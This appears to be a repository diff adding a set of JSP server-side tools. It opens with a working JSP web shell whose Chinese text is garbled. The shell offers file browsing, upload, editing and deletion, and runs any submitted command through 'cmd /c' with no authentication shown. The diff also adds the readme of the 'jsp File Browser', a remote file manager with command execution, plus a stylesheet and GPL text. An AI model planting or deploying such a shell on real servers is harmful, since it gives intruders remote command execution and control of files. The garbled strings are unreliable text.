return elstyle.getPropertyValue(csspropertyNS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var previoustab=""
|
||||||
|
|
||||||
|
function expandcontent(cid, aobject){
|
||||||
|
if (document.getElementById){
|
||||||
|
highlighttab(aobject)
|
||||||
|
if (previoustab!="")
|
||||||
|
document.getElementById(previoustab).style.display="none"
|
||||||
|
document.getElementById(cid).style.display="block"
|
||||||
|
previoustab=cid
|
||||||
|
if (aobject.blur)
|
||||||
|
aobject.blur()
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
else
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
function highlighttab(aobject){
|
||||||
|
if (typeof tabobjlinks=="undefined")
|
||||||
|
collecttablinks()
|
||||||
|
for (i=0; i<tabobjlinks.length; i++)
|
||||||
|
tabobjlinks[i].style.backgroundColor=initTabcolor
|
||||||
|
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
|
||||||
|
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
|
||||||
|
}
|
||||||
|
|
||||||
|
function collecttablinks(){
|
||||||
|
var tabobj=document.getElementById("tablist")
|
||||||
|
tabobjlinks=tabobj.getElementsByTagName("A")
|
||||||
|
}
|
||||||
|
|
||||||
|
function do_onload(){
|
||||||
|
collecttablinks()
|
||||||
|
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
|
||||||
|
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
|
||||||
|
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
|
||||||
|
}
|
||||||
|
|
||||||
|
if (window.addEventListener)
|
||||||
|
window.addEventListener("load", do_onload, false)
|
||||||
|
else if (window.attachEvent)
|
||||||
|
window.attachEvent("onload", do_onload)
|
||||||
|
else if (document.getElementById)
|
||||||
|
window.onload=do_onload
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</script>
|
||||||
|
<script language="javascript">
|
||||||
|
|
||||||
|
function doForm(action,path,file,cmd,tab,content)
|
||||||
|
{
|
||||||
|
document.frmCqq.action.value=action;
|
||||||
|
document.frmCqq.path.value=path;
|
||||||
|
document.frmCqq.file.value=file;
|
||||||
|
document.frmCqq.cmd.value=cmd;
|
||||||
|
document.frmCqq.tabID.value=tab;
|
||||||
|
document.frmCqq.content.value=content;
|
||||||
|
if(action=="del")
|
||||||
|
{
|
||||||
|
if(confirm("ȷ<><C8B7>Ҫɾ<D2AA><C9BE><EFBFBD>ļ<EFBFBD> "+file+" <20><><EFBFBD><EFBFBD>"))
|
||||||
|
document.frmCqq.submit();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
document.frmCqq.submit();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<title>index</title>
|
||||||
|
<head>
|
||||||
|
|
||||||
|
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<form name="frmCqq" method="post" action="">
|
||||||
|
<input type="hidden" name="action" value="">
|
||||||
|
<input type="hidden" name="path" value="">
|
||||||
|
<input type="hidden" name="file" value="">
|
||||||
|
<input type="hidden" name="cmd" value="">
|
||||||
|
<input type="hidden" name="tabID" value="2">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<!--Top Menu Started-->
|
||||||
|
<ul id="tablist">
|
||||||
|
<li><a href="http://www.smallrain.net" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
|
||||||
|
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
|
||||||
|
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
|
||||||
|
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
|
||||||
|
<%=authorInfo[languageNo]%>
|
||||||
|
</ul>
|
||||||
|
<!--Top Menu End-->
|
||||||
|
|
||||||
|
|
||||||
|
<%
|
||||||
|
StringBuffer sbFolder=new StringBuffer("");
|
||||||
|
StringBuffer sbFile=new StringBuffer("");
|
||||||
|
try
|
||||||
|
{
|
||||||
|
File objFile = new File(strDir);
|
||||||
|
File list[] = objFile.listFiles();
|
||||||
|
if(objFile.getAbsolutePath().length()>3)
|
||||||
|
{
|
||||||
|
sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||||
|
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
for(int i=0;i<list.length;i++)
|
||||||
|
{
|
||||||
|
if(list[i].isDirectory())
|
||||||
|
{
|
||||||
|
sbFolder.append("<tr><td > </td><td>");
|
||||||
|
sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||||
|
sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String strLen="";
|
||||||
|
String strDT="";
|
||||||
|
long lFile=0;
|
||||||
|
lFile=list[i].length();
|
||||||
|
strLen = convertFileSize(lFile);
|
||||||
|
Date dt=new Date(list[i].lastModified());
|
||||||
|
strDT=dt.toLocaleString();
|
||||||
|
sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
|
||||||
|
sbFile.append(""+list[i].getName());
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
sbFile.append(""+strLen);
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
sbFile.append(""+strDT);
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileEdit[languageNo]+"</a> ");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileDel[languageNo]+"</a> ");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileDown[languageNo]+"</a> ");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileCopy[languageNo]+"</a> ");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch(Exception e)
|
||||||
|
{
|
||||||
|
out.println("<font color=red><3E><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD> "+e.toString()+"</font>");
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
|
||||||
|
<DIV id="tabcontentcontainer">
|
||||||
|
|
||||||
|
|
||||||
|
<div id="menu3" class="tabcontent">
|
||||||
|
<br>
|
||||||
|
<br> δ<><CEB4><EFBFBD><EFBFBD>
|
||||||
|
<br>
|
||||||
|
<br>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="menu4" class="tabcontent">
|
||||||
|
<br>
|
||||||
|
<p></p>
|
||||||
|
<p> </p>
|
||||||
|
<p> </p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div id="menu1" class="tabcontent">
|
||||||
|
<%
|
||||||
|
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+"<22><> <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
|
||||||
|
%>
|
||||||
|
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
|
||||||
|
|
||||||
|
<tr>
|
||||||
|
<td width="25%" align="center" valign="top">
|
||||||
|
<table width="98%" border="0" cellspacing="0" cellpadding="3">
|
||||||
|
<%=sbFolder%>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</td>
|
||||||
|
<td width="81%" align="left" valign="top">
|
||||||
|
|
||||||
|
<%
|
||||||
|
if(strAction!=null && strAction.equals("edit"))
|
||||||
|
{
|
||||||
|
out.println(sbEdit.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("copy"))
|
||||||
|
{
|
||||||
|
out.println(sbCopy.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("down"))
|
||||||
|
{
|
||||||
|
out.println(sbDown.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("savecopy"))
|
||||||
|
{
|
||||||
|
out.println(sbSaveCopy.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
|
||||||
|
{
|
||||||
|
out.println(sbNewFile.toString());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
%>
|
||||||
|
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
|
||||||
|
<tr bgcolor="#E7e7e6">
|
||||||
|
<td width="26%"><%=strFileName[languageNo]%></td>
|
||||||
|
<td width="19%"><%=strFileSize[languageNo]%></td>
|
||||||
|
<td width="29%"><%=strLastModified[languageNo]%></td>
|
||||||
|
<td width="26%"><%=strFileOperation[languageNo]%></td>
|
||||||
|
</tr>
|
||||||
|
<%=sbFile%>
|
||||||
|
<!-- <tr align="center">
|
||||||
|
<td colspan="4"><br>
|
||||||
|
<20>ܼ<EFBFBD><DCBC>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><font color="#FF0000">30</font> <20><><EFBFBD><EFBFBD>С<EFBFBD><D0A1><font color="#FF0000">664.9</font>
|
||||||
|
KB </td>
|
||||||
|
</tr>
|
||||||
|
-->
|
||||||
|
</table>
|
||||||
|
</span>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<form name="frmMake" action="" method="post">
|
||||||
|
<tr><td colspan=2 bgcolor=#FBFFC6>
|
||||||
|
<input type="hidden" name="action" value="newFile">
|
||||||
|
<input type="hidden" name="path" value="<%=strDir%>">
|
||||||
|
<input type="hidden" name="file" value="<%=strFile%>">
|
||||||
|
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||||
|
<input type="hidden" name="tabID" value="1">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
<%
|
||||||
|
if(!strDir.endsWith("\\"))
|
||||||
|
strDir = strDir + "\\";
|
||||||
|
%>
|
||||||
|
<input type="text" name="fileName" size=36 value="<%=strDir%>">
|
||||||
|
<input type="submit" name="btnNewFile" value="<22>½<EFBFBD><C2BD>ļ<EFBFBD>" onclick="frmMake.submit()" >
|
||||||
|
<input type="submit" name="btnNewDir" value="<22>½<EFBFBD>Ŀ¼" onclick="frmMake.submit()" >
|
||||||
|
</form>
|
||||||
|
<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
|
||||||
|
<input type="hidden" name="action" value="upload">
|
||||||
|
<input type="hidden" name="path" value="<%=strDir%>">
|
||||||
|
<input type="hidden" name="file" value="<%=strFile%>">
|
||||||
|
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||||
|
<input type="hidden" name="tabID" value="1">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
<input type="file" name="cqqUploadFile" size="36">
|
||||||
|
<input type="submit" name="submit" value="<22>ϴ<EFBFBD>">
|
||||||
|
</td></tr></form>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
<div id="menu2" class="tabcontent">
|
||||||
|
|
||||||
|
<%
|
||||||
|
String line="";
|
||||||
|
StringBuffer sbCmd=new StringBuffer("");
|
||||||
|
|
||||||
|
if(strCmd!=null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
//out.println(strCmd);
|
||||||
|
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
|
||||||
|
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
|
||||||
|
while((line=br.readLine())!=null)
|
||||||
|
{
|
||||||
|
sbCmd.append(line+"\r\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch(Exception e)
|
||||||
|
{
|
||||||
|
System.out.println(e.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
strCmd = "set";
|
||||||
|
}
|
||||||
|
|
||||||
|
%>
|
||||||
|
<form name="cmd" action="" method="post">
|
||||||
|
|
||||||
|
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
|
||||||
|
<input type="hidden" name="tabID" value="2">
|
||||||
|
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
|
||||||
|
</form>
|
||||||
|
<%
|
||||||
|
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
|
||||||
|
{
|
||||||
|
%>
|
||||||
|
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
|
||||||
|
<br>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
</DIV>
|
||||||
|
</div>
|
||||||
|
<br><br>
|
||||||
|
<center>
|
||||||
|
|
||||||
1811
jsp/job.jsp
Normal file
1811
jsp/job.jsp
Normal file
File diff suppressed because it is too large
Load Diff
2344
jsp/jspbrowser/1.jsp
Normal file
2344
jsp/jspbrowser/1.jsp
Normal file
File diff suppressed because it is too large
Load Diff
1778
jsp/jspbrowser/2.jsp
Normal file
1778
jsp/jspbrowser/2.jsp
Normal file
File diff suppressed because it is too large
Load Diff
1934
jsp/jspbrowser/Browser.jsp
Normal file
1934
jsp/jspbrowser/Browser.jsp
Normal file
File diff suppressed because it is too large
Load Diff
279
jsp/jspbrowser/Readme.txt
Normal file
279
jsp/jspbrowser/Readme.txt
Normal file
@@ -0,0 +1,279 @@
|
|||||||
|
jsp File Browser version 1.2
|
||||||
|
--------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
------------------------IMPORTANT
|
||||||
|
|
||||||
|
With this jsp you can destroy important files on your system, it also could be
|
||||||
|
a serious security hole on your server.
|
||||||
|
Use this script only, if you know what you do. There is no warranty of any kind.
|
||||||
|
|
||||||
|
------------------------REQUIREMENTS
|
||||||
|
|
||||||
|
To use the File browser, you need a JSP1.1 compatible Web Server like Tomcat, Resin
|
||||||
|
or Jetty.
|
||||||
|
If you use the browser on webspace provided by an internet service provider,
|
||||||
|
it could be, that you are not allowed to go in some directories or execute
|
||||||
|
commands on the server, this will result in an exception.
|
||||||
|
|
||||||
|
------------------------INSTALLATION
|
||||||
|
|
||||||
|
Just copy the jsp file to any configured Web application. The author recommends to
|
||||||
|
protect the directory you copy the file into by password, to avoid abuse.
|
||||||
|
|
||||||
|
------------------------SETTINGS
|
||||||
|
|
||||||
|
If you want to change the standard style, you can create a css file in the directory
|
||||||
|
where Browser.jsp is located with the name "Browser.css". If you want choose another name
|
||||||
|
change this line in Browser.jsp:
|
||||||
|
private static final String CSS_NAME = "Browser.css";
|
||||||
|
For the syntax, look at the example css file.
|
||||||
|
|
||||||
|
If you click on a filename, the file will be opened in an new window. If you want that file
|
||||||
|
opened in your current window, change this line:
|
||||||
|
private static final boolean USE_POPUP = true;
|
||||||
|
to
|
||||||
|
private static final boolean USE_POPUP = false;
|
||||||
|
|
||||||
|
If you hold the mouse cursor over a directory name, a tooltip with
|
||||||
|
the first ten entries of this directory show up. This feature can lead to performance issues. If
|
||||||
|
you observe slow loading times you should change this line:
|
||||||
|
private static final boolean USE_DIR_PREVIEW = true;
|
||||||
|
to
|
||||||
|
private static final boolean USE_DIR_PREVIEW = false;
|
||||||
|
|
||||||
|
You could also change the number of entries in the preview by changing this line:
|
||||||
|
private static final int DIR_PREVIEW_NUMBER = 10;
|
||||||
|
|
||||||
|
If you would like to execute commands on the server, you have to specify a
|
||||||
|
command line interpreter and the parameter to execute a command.
|
||||||
|
This is the parameter for windows:
|
||||||
|
private static final String[] COMMAND_INTERPRETER = {"cmd","/C"};
|
||||||
|
|
||||||
|
The maximum time in ms a command is allowed to run before it will be terminated is specified
|
||||||
|
by this line:
|
||||||
|
private static final long MAX_PROCESS_RUNNING_TIME = 30000;
|
||||||
|
|
||||||
|
You can restrict file browsing and manipulation by setting
|
||||||
|
private static final boolean RESTRICT_BROWSING = true;
|
||||||
|
You can choose between whitelist restriction, that means the user is allowed to browse only in
|
||||||
|
directories, which are lower than RESTRICT_PATH, or blacklist restriction, which allows
|
||||||
|
the user to access all directories besides RESTRICT_PATH.
|
||||||
|
private static final boolean RESTRICT_WHITELIST = true;
|
||||||
|
You can set more than one directory in RESTRICT_PATH, seperated by semicolon.
|
||||||
|
|
||||||
|
It is also possible to make the file browser read-only. All operations which change the
|
||||||
|
file structure (besides upload and native command execution) are forbidden and turned off.
|
||||||
|
To achieve this change
|
||||||
|
private static final boolean READ_ONLY = false;
|
||||||
|
to
|
||||||
|
private static final boolean READ_ONLY = true;
|
||||||
|
.
|
||||||
|
|
||||||
|
You can also turn off upload with
|
||||||
|
private static final boolean ALLOW_UPLOAD = false; .
|
||||||
|
|
||||||
|
If you restrict file access it is also recommend to forbid native command execution by
|
||||||
|
changing
|
||||||
|
private static final boolean NATIVE_COMMANDS = true;
|
||||||
|
to
|
||||||
|
private static final boolean NATIVE_COMMANDS = false;
|
||||||
|
.
|
||||||
|
|
||||||
|
------------------------USAGE
|
||||||
|
|
||||||
|
This JSP program allows remote web-based file access and manipulation.
|
||||||
|
You can copy, create, move, rename and delete files.
|
||||||
|
Text files can be edited and groups of files and folders can be downloaded
|
||||||
|
as a single zip file that is created on the fly.
|
||||||
|
|
||||||
|
http://server/webapp/Browser.jsp
|
||||||
|
or
|
||||||
|
http://server/webapp/Browser.jsp?dir=[Directory on the server]
|
||||||
|
|
||||||
|
You do not need a javascript capable browser, but it looks nicer with it.
|
||||||
|
|
||||||
|
If you want to copy or move a file, please enter the target directory name in the
|
||||||
|
edit field (absolute or relative). If you want to create a new file or directory,
|
||||||
|
enter the name in the edit field.
|
||||||
|
|
||||||
|
If you click on a header name (e.g. size) the entries will be sorted by this property.
|
||||||
|
If you click two times, they will be sorted descending.
|
||||||
|
|
||||||
|
The button "Download as zip" let you download the selected directories and files packed as
|
||||||
|
one zip file.
|
||||||
|
|
||||||
|
The buttons "Delete Files", "Move Files", "Copy Files", delete, move and copy also selected
|
||||||
|
directories with subdirectories.
|
||||||
|
|
||||||
|
If you click on a .zip or .jar filename, you will see the entries of the packed file.
|
||||||
|
You can unpack .zip, .jar and .gz direct on the server. For this filetype the entry in the
|
||||||
|
last column is "Unpack". If you click at the "Unpack" link, the file will be unpacked in
|
||||||
|
the current folder. Note, that you can only unpack a file, if no entry of the packed file
|
||||||
|
already exist in the directory (no overwriting). If you want to unpack this file, you have
|
||||||
|
to delete the files on the server which correspond to the entries. This feature is very useful,
|
||||||
|
if you would like to upload more than one file. Zip the files together on your computer,
|
||||||
|
then upload the zip file and extract it on the server.
|
||||||
|
|
||||||
|
You can execute commands on the server (if you are allowed to) by clicking the "Launch command"
|
||||||
|
button, but beware that you cannot interact with the program. If the execution time of the program
|
||||||
|
is longer than MAX_PROCESS_RUNNING_TIME (standard: 30 sec.) the program will be killed.
|
||||||
|
|
||||||
|
If you click on a file, it will be shown, if the MIME Type is supported.
|
||||||
|
The following MIME Types are supported:
|
||||||
|
|
||||||
|
.png image/png
|
||||||
|
.jpg, .jpeg image/jpeg
|
||||||
|
.gif image/gif
|
||||||
|
.tiff image/tiff
|
||||||
|
.svg image/svg+xml
|
||||||
|
.pdf application/pdf
|
||||||
|
.htm, .html, .shtml text/html
|
||||||
|
.xml text/xml
|
||||||
|
.avi video/x-msvideo
|
||||||
|
.mov video/quicktime
|
||||||
|
.mpg, .mpeg, .mpe video/mpeg
|
||||||
|
.rtf application/rtf
|
||||||
|
.mid, .midi, audio/x-midi
|
||||||
|
.xl,.xls,.xlv,.xla,.xlb,.xlt,.xlm,.xlk application/excel
|
||||||
|
.doc, .dot application/msword
|
||||||
|
.mp3 audio/mp3
|
||||||
|
.ogg audio/ogg
|
||||||
|
else text/plain
|
||||||
|
|
||||||
|
------------------------SHORTKEYS
|
||||||
|
|
||||||
|
You can use the following shortkeys for better handling:
|
||||||
|
|
||||||
|
r Rename file
|
||||||
|
m Move file
|
||||||
|
y Copy file
|
||||||
|
Del Delete file
|
||||||
|
l Launch command
|
||||||
|
z Download selected files as zip
|
||||||
|
c Create file
|
||||||
|
d Create directory
|
||||||
|
|
||||||
|
------------------------KNOWN BUGS
|
||||||
|
|
||||||
|
The JVM from windows will sometimes displays a message box on the server,
|
||||||
|
if you try to access an empty removable drive. There will be no respond from
|
||||||
|
the server until the message box is closed.
|
||||||
|
If someone knows how to fix this, please write me a mail.
|
||||||
|
Removable drives will not be shown on the list, if you add them to this
|
||||||
|
property:
|
||||||
|
|
||||||
|
private static final String[] FORBIDDEN_DRIVES= {"a:\\"}
|
||||||
|
like e.g.
|
||||||
|
private static final String[] FORBIDDEN_DRIVES= {"a:\\", "d:\\", "e:\\"}
|
||||||
|
|
||||||
|
------------------------CONTACT
|
||||||
|
|
||||||
|
Boris von Loesch
|
||||||
|
boris@vonloesch.de
|
||||||
|
|
||||||
|
------------------------CHANGELOG
|
||||||
|
1.2 (21.07.2006)
|
||||||
|
- Shortkeys
|
||||||
|
- Filter file table
|
||||||
|
- Fix a bug which appears with Tomcat
|
||||||
|
- Add parameter to turn jsp filebrowser to a read-only version
|
||||||
|
- Add parameter to disallow uploads (even in the read-only version)
|
||||||
|
- Nicer layout
|
||||||
|
- Javascript will now be cached by the browser therefore smaller page size
|
||||||
|
- Turned off directory preview by default, because it uses too much resources
|
||||||
|
|
||||||
|
1.1a (27.08.2004)
|
||||||
|
- killed a bug, which appears if you view or download files
|
||||||
|
- fix upload time display
|
||||||
|
|
||||||
|
1.1 (20.08.2004)
|
||||||
|
- Upload monitor
|
||||||
|
- Restrict file access
|
||||||
|
|
||||||
|
1.0 (13.04.2004)
|
||||||
|
- if you click two times on a table header, it will be sorted descending
|
||||||
|
- sort parameter is memorized
|
||||||
|
- bugfixes (14,11,15)
|
||||||
|
- added some mime types
|
||||||
|
|
||||||
|
1.0RC2 (02.02.2004)
|
||||||
|
- only bugfixes (3,4,6,9)
|
||||||
|
|
||||||
|
1.0RC1 (17.11.2003)
|
||||||
|
Thanks to David Cowan for code contribution (buffering), bug fixing and testing
|
||||||
|
- execute native shell commands
|
||||||
|
- quick change to lower directories paths
|
||||||
|
- solve homepath problem with Oracle oc4j
|
||||||
|
- remove two bugs in the upload routine
|
||||||
|
- add war file unpack and view support
|
||||||
|
- remove some html errors (page is now valid HTML 4.1 Transitional)
|
||||||
|
- add buffering for download of files and zip file creation, this increases the speed
|
||||||
|
|
||||||
|
0.6 (14.10.2003)
|
||||||
|
Thanks to David Levine for bug fixes
|
||||||
|
- Refactor parts of the code
|
||||||
|
- Viewing and unpacking of .zip, .jar and .gz files on the server
|
||||||
|
- Customizable layout via external css file (optional)
|
||||||
|
- Distinction between error and success messages
|
||||||
|
- Open File in a new window
|
||||||
|
- "Select all" checkbox
|
||||||
|
- More options
|
||||||
|
- Some small changes and bugfixes
|
||||||
|
|
||||||
|
0.5 (20.08.2003)
|
||||||
|
Greetings to Taylor Bastien who contributed a lot of code for this release
|
||||||
|
- Renaming of files
|
||||||
|
- File extension in an extra column
|
||||||
|
- variable filesize unit (bytes, KB or MB)
|
||||||
|
- Directory preview via tooltip (simple hold the mousecursor over a directory name and
|
||||||
|
a tooltip with the first ten entries will appear)
|
||||||
|
- Summary (number and size of all files in the current directory)
|
||||||
|
- Text editor can save files with dos/windows or unix line ending
|
||||||
|
- many small changes
|
||||||
|
|
||||||
|
0.4 (17.05.2003)
|
||||||
|
- It does not longer need a temporary directory !
|
||||||
|
- Jsp 1.1 compatible (works now also in Tomcat 3)
|
||||||
|
- The file editor can now save the edited file with a new name and can make a backup
|
||||||
|
- selected row is marked by color and the checkbox can be selected by click at any place in the row
|
||||||
|
(works only with Javascript)
|
||||||
|
- some new MIME types (xml, png, svg)
|
||||||
|
- unreadable files and directories are marked (not selectable)
|
||||||
|
- write protected files and directories are marked (italic)
|
||||||
|
- if no dir parameter is assigned, the home directory of the browser will be displayed
|
||||||
|
- some bugs killed
|
||||||
|
|
||||||
|
0.3
|
||||||
|
- Output is HTML 4.01 conform, should now be netscape>4 compatible
|
||||||
|
- Messages to indicate the status of an operation
|
||||||
|
- Many bugs killed
|
||||||
|
- Tooltips
|
||||||
|
|
||||||
|
0.2
|
||||||
|
- First release
|
||||||
|
|
||||||
|
CREDITS
|
||||||
|
Taylor Bastien
|
||||||
|
David Levine
|
||||||
|
David Cowan
|
||||||
|
Lieven Govaerts
|
||||||
|
|
||||||
|
LICENSE
|
||||||
|
|
||||||
|
jsp File browser
|
||||||
|
Copyright (C) 2003-2006 Boris von Loesch
|
||||||
|
|
||||||
|
This program is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the
|
||||||
|
Free Software Foundation; either version 2 of the License, or (at your option)
|
||||||
|
any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along with
|
||||||
|
this program; if not, write to the
|
||||||
|
Free Software Foundation, Inc.,
|
||||||
|
59 Temple Place, Suite 330,
|
||||||
|
Boston, MA 02111-1307 USA
|
||||||
50
jsp/jspbrowser/example-css.css
Normal file
50
jsp/jspbrowser/example-css.css
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
input.button { background-color: #EF9C00;
|
||||||
|
color: #8C5900;
|
||||||
|
border: 2px outset #EF9C00; }
|
||||||
|
input.button:Hover { color: #444444 }
|
||||||
|
|
||||||
|
input { background-color:#FDEBCF;
|
||||||
|
border: 2px inset #FDEBCF }
|
||||||
|
|
||||||
|
table.filelist { background-color:#FDE2B8;
|
||||||
|
width:100%;
|
||||||
|
border:3px solid #ffffff }
|
||||||
|
th { background-color:#BC001D;
|
||||||
|
font-size: 10pt;
|
||||||
|
color:#022F55 }
|
||||||
|
|
||||||
|
tr.mouseout { background-color:#F5BA5C; }
|
||||||
|
tr.mouseout td {border:1px solid #F5BA5C;}
|
||||||
|
|
||||||
|
tr.mousein { background-color:#EF9C00; }
|
||||||
|
tr.mousein td { border-top:1px solid #3399ff;
|
||||||
|
border-bottom:1px solid #3399FF;
|
||||||
|
border-left:1px solid #EF9C00;
|
||||||
|
border-right:1px solid #EF9C00; }
|
||||||
|
tr.checked { background-color:#B57600 }
|
||||||
|
tr.checked td {border:1px solid #B57600;}
|
||||||
|
|
||||||
|
tr.mousechecked { background-color:#8C5900 }
|
||||||
|
tr.mousechecked td {border:1px solid #8C5900;}
|
||||||
|
|
||||||
|
td { font-family:Verdana, Arial, Helvetica, sans-serif;
|
||||||
|
font-size: 7pt;
|
||||||
|
color: #FFF5E8; }
|
||||||
|
|
||||||
|
td.message { background-color: #FFFF00;
|
||||||
|
color: #000000;
|
||||||
|
text-align:center;
|
||||||
|
font-weight:bold }
|
||||||
|
.formular {margin: 1px; background-color:#ffffff; padding: 1em; border:1px solid #000000;}
|
||||||
|
.formular2 {margin: 1px;}
|
||||||
|
|
||||||
|
A { text-decoration: none;
|
||||||
|
color: #005073
|
||||||
|
}
|
||||||
|
A:Hover { color : #022F55;
|
||||||
|
text-decoration : underline; }
|
||||||
|
BODY { font-family:Verdana, Arial, Helvetica, sans-serif;
|
||||||
|
font-size: 8pt;
|
||||||
|
color: #666666;
|
||||||
|
background-color: #FDE2B8;
|
||||||
|
}
|
||||||
222
jsp/jspbrowser/gpl.txt
Normal file
222
jsp/jspbrowser/gpl.txt
Normal file
@@ -0,0 +1,222 @@
|
|||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||||
|
|
||||||
|
0. This License applies to any program or other work which contains
|
||||||
|
a notice placed by the copyright holder saying it may be distributed
|
||||||
|
under the terms of this General Public License. The "Program", below,
|
||||||
|
refers to any such program or work, and a "work based on the Program"
|
||||||
|
means either the Program or any derivative work under copyright law:
|
||||||
|
that is to say, a work containing the Program or a portion of it,
|
||||||
|
either verbatim or with modifications and/or translated into another
|
||||||
|
language. (Hereinafter, translation is included without limitation in
|
||||||
|
the term "modification".) Each licensee is addressed as "you".
|
||||||
|
|
||||||
|
Activities other than copying, distribution and modification are not
|
||||||
|
covered by this License; they are outside its scope. The act of
|
||||||
|
running the Program is not restricted, and the output from the Program
|
||||||
|
is covered only if its contents constitute a work based on the
|
||||||
|
Program (independent of having been made by running the Program).
|
||||||
|
Whether that is true depends on what the Program does.
|
||||||
|
|
||||||
|
